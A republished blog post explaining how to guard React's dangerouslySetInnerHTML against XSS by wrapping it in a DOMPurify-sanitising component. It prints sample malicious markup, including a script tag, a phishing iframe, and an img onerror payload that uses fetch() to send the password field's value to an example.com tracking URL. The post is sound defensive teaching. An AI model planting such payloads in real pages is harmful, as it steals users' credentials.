This content originally appeared on DEV Community and was authored by Tim Bryan
Cover image by Lautaro Andreani
...
TL: DR; Blinding dumping content into dangerouslySetInnerHTML is exactly that - dangerous. Make sure you are sanitising any input you pass to dangerouslySetInnerHTML unless you have explicit control of the input.
The following component serves as a simple example of mitigating the risk of an XSS attack via dangerouslySetInnerHTML:
//https://github.com/cure53/DOMPurify
import React from "react";
import DOMPurify from "dompurify";
const sanitize = (dirty) => DOMPurify.sanitize(dirty);
const DangerousHtml = ({ innerHTML, tag }) => {
const clean = sanitize(innerHTML);
if (typeof tag === "undefined") {
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
return <tag dangerouslySetInnerHTML={{ __html: clean }} />;
};
export default DangerousHtml;
By using our bespoke DangerousHtml component, we can dramatically reduce the risk of an XSS exploit as we're sanitising our input before it gets to the actual dangerouslySetInnerHTML prop
DOMPurify is highly configurable too, so it might be the case that you want to have multiple components like our example to handle specific use cases or allow some of the below examples explicitly.
Below are some brief examples of how the exploits could take place:
Exploiting iFrame and Script Tags
XSS is possible as React will not strip out the script tag which points to a malicious payload.
We really shouldn't be passing iFrames in this way either. Rather, we should pass the URL and any other "safe" attributes as a props and render it ourselves in an iFrame tag to retain control of it's rendering ability's and source, or have a dedicated iFrame component.
For example, consider rhe following malicious markup that we've received from an API request. If we blindly set it via dangerouslySetInnerHTML, we'll give the user this output:
// Bad markup going in
<div
dangerouslySetInnerHTML={{
__html: `<p>
Hi
<script src="https://example.com/malicious-tracking"></script>
Fiona, here is the link to enter your bank details:
<iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`,
}}
/>
<!-- Bad markup rendered on the DOM -->
<div>
<p>
Hi
<script src="https://example.com/malicious-tracking"></script>
Fiona, here is the link to enter your bank details:
<iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>
</div>
However, using our DangerousHTML component instead, means that we have mitigated most of the risk the user may have faced:
// Bad markup going in
<DangerousHtml
innerHTML={`<p>
Hi
<script src="https://example.com/malicious-tracking"></script>
Fiona, here is the link to enter your bank details:
<iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
<p>Hi Fiona, here is the link to enter your bank details:</p>
</div>
Fiona may think that the website is broken or missing content for some reason - but this is still better than being phished for their bank details!
Attribute manipulation/poisoning
Some DOM elements have special attributes that we can abuse that we should protect ourselves against.
In this example, we can run some JS on an <image> tag's onerror.
For example, given the following:
// Bad markup going in
<div
dangerouslySetInnerHTML={{
__html: `
<p>
Hola
<img
src='none.png'
onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
/>
Sharon
</p>`,
}}
/>
<!-- Bad markup rendered on the DOM -->
<div>
<p>
Hola
<img
src="none.png"
onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
/>
Sharon
</p>
</div>
In this instance, our poisoned markup is stealing data from the DOM when the image request eventually fails and the user will never even know.
We can mitigate this again with our DangerousHtml component
// Bad markup going in
<DangerousHtml
innerHTML={`
<p>
Hola
<img
src='none.png'
onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
/>
Sharon
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
<p>
Hola
<img src="none.png" />
Sharon
</p>
</div>
Given the argument that we may genuinely want to execute some JS to show a fallback image, we should again not be trusting raw, unsanitized HTML to do this for us and would be better served either having a fallbackImageURL or onError prop that we can explicitly add to our image tag like so:
// Usual imports
const MyImageComponent = ({ fallbackUrl, url }) => {
// Usual component setup
const displayFallbackImage = (evt) => {
// If there is no fallback, do nothing
if (!fallbackUrl) return;
// set the url to the fallbackUrl
evt.target.src = fallbackUrl;
};
return (
<img
src={url}
onerror={displayFallbackImage}
// ... any other props
/>
);
};
...
Original article: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml
This content originally appeared on DEV Community and was authored by Tim Bryan
Tim Bryan | Sciencx (2024-09-12T15:54:26+00:00) Mitigate XSS exploits when using React’s `dangerously SetInnerHTML`. Retrieved from https://www.scien.cx/2024/09/12/mitigate-xss-exploits-when-using-reacts-dangerously-setinnerhtml/
Please log in to upload a file.
There are no updates yet.
Click the Upload button above to add an update.